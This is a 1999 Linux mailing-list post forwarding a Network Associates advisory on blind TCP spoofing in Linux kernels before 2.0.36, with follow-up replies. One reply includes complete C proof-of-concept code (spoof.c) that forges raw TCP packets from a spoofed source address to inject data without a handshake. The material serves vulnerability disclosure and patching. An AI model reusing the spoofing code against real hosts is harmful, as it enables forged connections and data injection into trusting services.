Linux Blind TCP Spoofing (3 forwarded messages...) (fwd)

Michael S. Hornung foobar at u.washington.edu
Wed Mar 10 10:50:55 PST 1999


....

-----------------------------------------------
Michael Hornung		foobar at u.washington.edu

---------- Forwarded message ----------
Date: Wed, 10 Mar 1999 10:44:59 -0800 (PST)
From: Dave Dittrich <dittrich at cac.washington.edu>
Reply-To: linux-l at u.washington.edu
To: UW Linux Support list <linux-l at u.washington.edu>
Subject: Linux Blind TCP Spoofing (3 forwarded messages...)

Please note the following reported security hole in Linux kernels less
than 2.0.36 (the current "stable" 2.0 kernel).

The good news is, you only need to upgrade to the current release of
your Linux distribution to solve this.

The bad news is, people who installed Linux years ago, and who aren't
paying attention to upgrades (or messages like this) will *still* be
vulnerable until they are identified, hacked, or decide at random to
upgrade.

You (and intruders) can identify these systems using "nmap" or "queso"
style programs that can determine operating system type by TCP/IP stack
behaviour.  (See my home page for link to "nmap" and other tools, such
as the "trinux" package, which includes both "nmap" and "queso").

--
Dave Dittrich                 Client Services
dittrich at cac.washington.edu   Computing & Communications
                              University of Washington

<a href="http://www.washington.edu/People/dad/">
Dave Dittrich / dittrich at cac.washington.edu [PGP Key]</a>

---------- Forwarded message ----------
Date: Tue, 9 Mar 1999 16:28:24 -0800
Subject: Linux Blind TCP Spoofing
From: Security Research Labs <seclabs at NAI.COM>
To: BUGTRAQ at netspace.org

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

======================================================================
=

                        Network Associates, Inc.
                           SECURITY ADVISORY
                            March 9, 1999

                        Linux Blind TCP Spoofing

======================================================================
=

SYNOPSIS

An implementation flaw in the Linux TCP/IP stack allows remote
attackers
to forge TCP connections without predicting sequence numbers and pass

data to the application layer before a connection is established.

======================================================================
=

VULNERABLE HOSTS

This problem is present in Linux kernels up to and including 2.0.35.
Any distribution containing a kernel revision less than this is
vulnerable.

======================================================================
=

DETAILS

TCP is a reliable connection-oriented protocol which requires the
completion of a three way handshake to establish a connection. To
implement reliable and unduplicated delivery of data, the TCP
protocol
uses a sequence based acknowledgment system. During connection
establishment each host selects an initial sequence number which is
sent in the first packet of the connection. Each subsequent byte
transmitted in the TCP connection is assigned a sequence number.

To prevent duplicate or invalid segments from impacting established
connections TCP utilizes a state based model. In a typical
client-server application, the client initiates a connection by
transmitting a TCP segment to a listening server process. This
causes the state of the process to move from the LISTEN state into
SYN_RECEIVE if a SYN flag is present. During this state the server
acknowledges the clients request setting both the SYN and ACK
flags. To complete the three way handshake the client acknowledges
the servers response, moving the server from SYN_RECEIVE to
ESTABLISHED state.

To establish a forged TCP session an attacker must have knowledge
of or be able to predict the initial sequence number that is selected
by the server. An implementation flaw in the Linux kernel allows
data to be delivered to the application layer before the handshake
has completed.


======================================================================
=

TECHNICAL DETAILS

The combination of three flaws in the Linux TCP/IP implementation
contribute to the existence of a security vulnerability. Firstly,
Linux only verifies the acknowledgment number of incoming segments
if the ACK flag has been set. Linux also queues data from TCP
segments without acknowledgment information prior to the
completion of the three way handshake but after the initial SYN
has been acknowledged by the server. Finally, Linux passes data to
the application layer upon the receipt of a packet containing the
FIN flag regardless of whether a connection has been established.
Together, these flaws allow an attacker to spoof an arbitrary
connection and deliver data to an application without the need to
predict the servers initial sequence number.

According to the standard, there is only one case wherein a correct
TCP/IP stack can accept data in a packet that does not have the ACK
flag set --- the initial connection-soliciting SYN packet can
contain data, but must not have the ACK flag set. In any other case,
a data packet not bearing the ACK flag should be discarded.

When a TCP segment carries an ACK flag, it must have a correct
acknowledgement sequence number (which is the sequence number of the
next byte of data expected from the other side of the connection).
TCP packets bearing the ACK flag are verified to ensure that their
acknowledgement numbers are correct.

Vulnerable Linux kernels accept data segments that do not have the
ACK flag set. Because the ACK flag is not set, the acknowledgement
sequence number is not verified. This allows an attacker to send
data over a spoofed connection without knowing the target's current
(or initial)  sequence number.

Linux does not deliver data received from a TCP connection when the
connection is in SYN_RECEIVE state. Thus, an attacker cannot
successfully spoof a TCP transaction to a Linux host without somehow
completing the TCP handshake. However, an implementation flaw in
some Linux kernels allows an attacker to bypass the TCP handshake
entirely, by "prematurely" closing it with a FIN packet.

When a FIN packet is received for a connection in SYN_RECEIVE state,
Linux behaves as if the connection was in ESTABLISHED state and moves

the connection to CLOSE_WAIT state. In the process of doing this,
data queued on the connection will be delivered to listening
applications. If the ACK flag is not set on the FIN segment, the
target's sequence number is not verified in the segment.


======================================================================
=

RESOLUTION

It is recommended that kernels below version 2.0.36 be upgraded to
eliminate this vulnerability.

Updated kernel packages for Red Hat Linux which are not vulnerable to
this
problem are available from
http://www.redhat.com/support/docs/errata.html.

Both Debian and Caldera Linux have been contacted regarding this
vulnerability although no official response has been received.

The latest stable versions of the Linux kernel are available from
http://www.kernel.org.

======================================================================
=

CREDITS

Analysis and documentation of this problem was conducted by Anthony
Osborne with the Security Labs at Network Associates. This
vulnerability
was discovered on the October 5, 1998.

======================================================================
=

ABOUT THE NETWORK ASSOCIATES SECURITY LABS

The Security Labs at Network Associates hosts some of the most
important
research in computer security today. With over 30 published security
advisories published in the last 2 years, the Network Associates
security
auditing teams have been responsible for the discovery of many of the
Internet's most serious security flaws. This advisory represents our
ongoing commitment to provide critical information to the security
community.

For more information about the Security Labs at Network Associates,
see our website at http://www.nai.com or contact us at
<seclabs at nai.com>.

======================================================================
=

NETWORK ASSOCIATES SECURITY LABS PGP KEY

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGP 5.5.5

mQGiBDXGgDsRBADVOnID6BtEhKlm2cNalho28YP0JAh+J4iRUIaiWshzI0tc0KPc
fvs+0xYwiqjxmeHi2sdIEPQ7S+ltA3Dlp6/DFojWBr2XB9hfWy4uiKBUHqnsKYnB
Gpkh6nIx7DIwn+u0PXMXbJCG3LYf8daiPVdzC2VFtbRvJL4wZc6NLQViFQCg/9uS
DuH/0NE6mO8Cu4iVrUT5Wk8D/ArOpV5T5yIuXHZO1/ZBVeHccVVvHe8wHK4D9WUs
FsB8fgYLNgdFMMjtam7QQSBY/P1KKBzaFqZhkfS4WVMAFEy94NHXG+KTCPhXkZzp
OPPqwWqZgfvOg0Bm20O/GhzQkB6JfFJqcfR87Ej0+fcDKrTTxAELWHGS7c9Qdn6P
bfwHA/4oLNwYrtgWNkjGcG018Pu2jKT7YuP9zBTMu28IBiWdPLGL9Wle4d5cdDVx
Es4iVl8FMtxlgTWCgMnBLS4nyM3pCn1HF+8Gi+IVKUXWCkqt/rtBMsrOMfrOgEIu
BWnTZcTR7kcWtH7xDFNyZ47U4pElLXwATVDty/FczAJnpeht2LQyTmV0d29yayBB
c3NvY2lhdGVzIFNlY3VyaXR5IExhYnMgPHNlY2xhYnNAbmFpLmNvbT6JAEsEEBEC
AAsFAjXGgDsECwMCAQAKCRCheCy6j9WBEtgDAKDpYMwQZP0Ipx7X0ivnTxxJkA/W
vACg4LZv0lmWqmnd7XCe4OIJ05aT6hK5Ag0ENcaAOxAIAPZCV7cIfwgXcqK61qlC
8wXo+VMROU+28W65Szgg2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyDvWXpF9Sh
01D49Vlf3HZSTz09jdvOmeFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5u/2RXscB
qtNbno2gpXI61Brwv0YAWCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98iLMcfFst
jvbzySPAQ/ClWxiNjrtVjLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlAGBGNfISn
CnLWhsQDGcgHKXrKlQzZlp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqrol7DVeky
CzsAAgIH/RZcJoRkhCf9O4Er+rciBNG3QqM3tek23oxGuVwqRxtGlGKuf+YaUDIA
vZhARftupZYJf/+AM9pyjjsF7ON/Df5oIXXhqzrDySw47dNB3I1FG7vwAUBRfYgG
NRP+zvf1nld+FgAXag1DIQteXYPtoMUJP8ZgvbELYVdZS2TapOHUv7r4rOY+UUjl
U+FkQPp9KCNreaNux4NxwT3tzXl1KqqkliC8sYxvMCkJ+JO71TKGplO9dXsf3O8p
2r33+LngmLs4O7inrUlmAUKq3jmCK50J7RsZjd6PlK/0JwcjFkOZeYrxTguZzCR4
QYmo8nEHqEMSKQci0VUf9KH4lHf6xmGJAEYEGBECAAYFAjXGgDsACgkQoXgsuo/V
gRK5LACgoAqLFk10kAMu6xb3ftO4+INJs14Ani+1hujlYRxYphN97c5ci8WtILNZ
=L3C6
- ----
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNvLqq6F4LLqP1YESEQJH5QCg4FIv1+eRED+wYV5uMp2nVto/zHMAnjii
g3Q3t36ITPBKkdRCQGK4DCBe
=yLGh
-----END PGP SIGNATURE-----



---------- Forwarded message ----------
Date: Wed, 10 Mar 1999 16:27:20 +0100
Subject: Re: Linux Blind TCP Spoofing
From: Jochen Thomas Bauer <jtb at THEO2.PHYSIK.UNI-STUTTGART.DE>
To: BUGTRAQ at netspace.org

Hello,

Here is some demonstration code for the "Linux Blind TCP Spoofing" problem
discovered by Network Associates, Inc. If you have trouble compiling this,
try it with -D_BSD_SOURCE.

1.) receive.c

This simple program creates a TCP socket and waits for a connection.
After the accept call returnes, it reads 8 bytes from the socket and
prints them on stdout.

usage: receive listen_port

2.) spoof.c

This one sends a SYN packet, a Null packet (no flags at all) with 8 bytes
of data and a FIN packet to the target.

usage: spoof source_ip source_port target_ip target_port

Don't forget to disable host source_ip so it cannot send RST's. I've tested
this on Linux 2.0.30. After the FIN packet is received, the accept call
returnes and the read call gives the data sent with the Null packet.

!!This code is for educational purposes only!!

---------------------------- receive.c --------------------------
#include <stdio.h>
#include <errno.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <netinet/in.h>

main(int argc, char *argv[])
{
 int i,n,dummy,new;
 struct sockaddr_in address,source_addr;
 char buffer[8];

 address.sin_family = AF_INET;
 address.sin_port = htons(atoi(argv[1]));
 address.sin_addr.s_addr = 0;

 if((i=socket(AF_INET,SOCK_STREAM,6))<0)   /*create socket*/
  {
   perror("socket\n");
   exit(1);
  }
 if((bind(i,(struct sockaddr *)&address,sizeof(struct sockaddr_in)))<0)
   {                                                /*bind socket to address*/
    perror("bind");
    exit(1);
   }
 if((listen(i,2))<0)
   {
    perror("listen");
    exit(1);
   }
 printf("listening on socket\n");
 new=accept(i,(struct sockaddr *)&source_addr,&dummy);
 if(new>0)
   printf("connected!\n");
 else
  {
   perror("accept");
   exit(1);
  }
 fflush(stdout);
 n=read(new,buffer,8);
 printf("read %i bytes from socket\n",n);
 printf("message is: %s\n",buffer);
}

--------------------------------spoof.c---------------------------------
#include <stdio.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <asm/types.h>

#define FIN 1
#define SYN 2
#define SEQ 20985

/*---------------Checksum calculation--------------------------------*/
unsigned short in_cksum(unsigned short *addr,int len)
{
 register int nleft = len;
 register unsigned short *w = addr;
 register int sum = 0;
 unsigned short answer = 0;

 while (nleft > 1)
        {
        sum += *w++;
        nleft -= 2;
        }
 if (nleft == 1)
        {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
        }
 sum = (sum >> 16) + (sum & 0xffff);
 sum += (sum >> 16);
 answer = ~sum;
 return(answer);
}
/*----------------------------------------------------------------------*/

/*------------Send spoofed TCP packet-----------------------------------*/
int send_tcp(int sfd,unsigned int src,unsigned short src_p,
             unsigned int dst,unsigned short dst_p,tcp_seq seq,tcp_seq ack,
             u_char flags,char *buffer,int len)
{
 struct iphdr ip_head;
 struct tcphdr tcp_head;
 struct sockaddr_in target;
 char packet[2048];     /*the exploitation of this is left as an exercise..*/
 int i;

 struct tcp_pseudo        /*the tcp pseudo header*/
 {
  __u32 src_addr;
  __u32 dst_addr;
  __u8  dummy;
  __u8  proto;
  __u16 length;
 } pseudohead;

 struct help_checksum   /*struct for checksum calculation*/
 {
  struct tcp_pseudo pshd;
  struct tcphdr tcphd;
  char tcpdata[1024];
 } tcp_chk_construct;


 /*Prepare IP header*/
 ip_head.ihl      = 5;     /*headerlength with no options*/
 ip_head.version  = 4;
 ip_head.tos      = 0;
 ip_head.tot_len  = htons(sizeof(struct iphdr)+sizeof(struct tcphdr)+len);
 ip_head.id       = htons(31337 + (rand()%100));
 ip_head.frag_off = 0;
 ip_head.ttl      = 255;
 ip_head.protocol = IPPROTO_TCP;
 ip_head.check    = 0;    /*Fill in later*/
 ip_head.saddr    = src;
 ip_head.daddr    = dst;
 ip_head.check    = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));

 /*Prepare TCP header*/
 tcp_head.th_sport = htons(src_p);
 tcp_head.th_dport = htons(dst_p);
 tcp_head.th_seq   = htonl(seq);
 tcp_head.th_ack   = htonl(ack);
 tcp_head.th_x2    = 0;
 tcp_head.th_off   = 5;
 tcp_head.th_flags = flags;
 tcp_head.th_win   = htons(0x7c00);
 tcp_head.th_sum   = 0;  /*Fill in later*/
 tcp_head.th_urp   = 0;

 /*Assemble structure for checksum calculation and calculate checksum*/
 pseudohead.src_addr=ip_head.saddr;
 pseudohead.dst_addr=ip_head.daddr;
 pseudohead.dummy=0;
 pseudohead.proto=ip_head.protocol;
 pseudohead.length=htons(sizeof(struct tcphdr)+len);

 tcp_chk_construct.pshd=pseudohead;
 tcp_chk_construct.tcphd=tcp_head;
 memcpy(tcp_chk_construct.tcpdata,buffer,len);

 tcp_head.th_sum=in_cksum((unsigned short *)&tcp_chk_construct,
                         sizeof(struct tcp_pseudo)+sizeof(struct tcphdr)+len);

 /*Assemble packet*/
 memcpy(packet,(char *)&ip_head,sizeof(ip_head));
 memcpy(packet+sizeof(ip_head),(char *)&tcp_head,sizeof(tcp_head));
 memcpy(packet+sizeof(ip_head)+sizeof(tcp_head),buffer,len);

 /*Send packet*/
 target.sin_family     = AF_INET;
 target.sin_addr.s_addr= ip_head.daddr;
 target.sin_port       = tcp_head.th_dport;
 i=sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct tcphdr)+len,0,
                    (struct sockaddr *)&target,sizeof(struct sockaddr_in));
 if(i<0)
   return(-1); /*Error*/
 else
   return(i); /*Return number of bytes sent*/
}
/*---------------------------------------------------------------------*/

main(int argc, char *argv[])
{
 int i;
 unsigned int source,target;
 unsigned short int s_port,d_port;
 char data[]="abcdefg";

 source=inet_addr(argv[1]);
 s_port=atoi(argv[2]);
 target=inet_addr(argv[3]);
 d_port=atoi(argv[4]);

 if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)  /*open sending socket*/
  {
   perror("socket");
   exit(1);
  }
 send_tcp(i,source,s_port,target,d_port,SEQ,0,SYN,NULL,0);
 printf("SYN sent\n");
 usleep(1000);
 send_tcp(i,source,s_port,target,d_port,SEQ+1,0,0,data,8); /*no flags set*/
 printf("data sent\n");
 usleep(1000);
 send_tcp(i,source,s_port,target,d_port,SEQ+9,0,FIN,NULL,0);
 printf("FIN sent\n");
 close(i);
}

--
Jochen Bauer
Institute for Theoretical Physics
University of Stuttgart
Germany

PGP public key available from:
http://www.theo2.physik.uni-stuttgart.de/jtb.html




---------- Forwarded message ----------
Date: Tue, 9 Mar 1999 18:53:38 -0800
Subject: Re: Linux Blind TCP Spoofing
From: John D. Hardin <jhardin at WOLFENET.COM>
To: BUGTRAQ at netspace.org

On Tue, 9 Mar 1999, Security Research Labs wrote:

> VULNERABLE HOSTS
>
> This problem is present in Linux kernels up to and including 2.0.35.
> Any distribution containing a kernel revision less than this is
> vulnerable.

{snip}

> RESOLUTION
>
> It is recommended that kernels below version 2.0.36 be upgraded to
> eliminate this vulnerability.

This implies but does not explicitly state that 2.0.36+ kernels are
not vulnerable. Is this the case?

--
 John Hardin KA7OHZ                               jhardin at wolfenet.com
 pgpk -a finger://gonzo.wolfenet.com/jhardin    PGP key ID: 0x41EA94F5
 PGP key fingerprint: A3 0C 5B C2 EF 0D 2C E5  E9 BF C8 33 A7 A9 CE 76
-----------------------------------------------------------------------
  If you spend any time administering Windows NT, you're far too
  familiar with the Blue Screen of Death (BSOD) ...
                            - "MSDN Flash" email newsletter, 2/8/1999
-----------------------------------------------------------------------
   72 days until Star Wars episode I







More information about the Linux mailing list